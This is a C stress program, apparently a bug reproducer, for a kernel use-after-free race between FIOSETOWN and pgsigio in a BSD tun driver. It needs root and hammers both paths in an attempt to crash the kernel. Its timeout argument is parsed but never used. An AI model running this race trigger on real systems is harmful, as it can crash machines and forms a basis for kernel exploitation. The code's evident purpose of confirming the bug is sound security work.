DF-3411 / race_sigio.c
/* * DF-3411 -- tun async-SIGIO: pgsigio() dereferences sc->tun_sigio with * no lock while a concurrent FIOSETOWN -> fsetown -> funsetown() frees * the struct sigio outside sigio_token (kern_descrip.c:1239-1273 drops * the token BEFORE the list removal/crfree/kfree, and pgsigio * (kern_sig.c:2639) takes no token at all). * * tunifstart (if_tun.c:533-536): * if (sc->tun_flags & TUN_ASYNC && sc->tun_sigio) * pgsigio(sc->tun_sigio, SIGIO, 0); * * Stress: thread A hammers FIOSETOWN (each call frees the old sigio and * installs a new one); thread B drives traffic through tun0 so * tunifstart fires pgsigio continuously. * Root. Clean exit = race not hit. */ #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/fcntl.h> #include <net/if.h> #include <netinet/in.h> #include <arpa/inet.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> static volatile int stop; static long setowns, pings; static int tunfd; static void * owner(void *v) { int self = getpid(); while (!stop) { int one = 1; ioctl(tunfd, FIOASYNC, &one); ioctl(tunfd, FIOSETOWN, &self); setowns++; } return (NULL); } int main(int argc, char **argv) { int secs = argc > 1 ? atoi(argv[1]) : 60; pthread_t a; int s, one = 1; struct sockaddr_in me; if (geteuid() != 0) { fprintf(stderr, "root only\n"); return (1); } tunfd = open("/dev/tun", O_RDWR); if (tunfd < 0) { perror("/dev/tun"); return (1); } ioctl(tunfd, FIOSETOWN, &one); /* bring tun0 up with an address and route pings into it */ system("ifconfig tun0 10.77.77.1 10.77.77.2 up 2>/dev/null"); pthread_create(&a, NULL, owner, NULL); s = socket(AF_INET, SOCK_DGRAM, 0); memset(&me, 0, sizeof(me)); me.sin_family = AF_INET; me.sin_port = htons(5999); bind(s, (struct sockaddr *)&me, sizeof(me)); struct sockaddr_in dst; int us = socket(AF_INET, SOCK_DGRAM, 0); memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_port = htons(5998); inet_pton(AF_INET, "10.77.77.2", &dst.sin_addr); while (!stop) { /* packets queued to tun0 -> tunifstart -> pgsigio */ sendto(us, "x", 1, 0, (struct sockaddr *)&dst, sizeof(dst)); pings++; usleep(500); } stop = 1; pthread_join(a, NULL); printf("FIOSETOWNs=%ld ping-rounds=%ld (no crash = window not hit)\n", setowns, pings); return (0); } |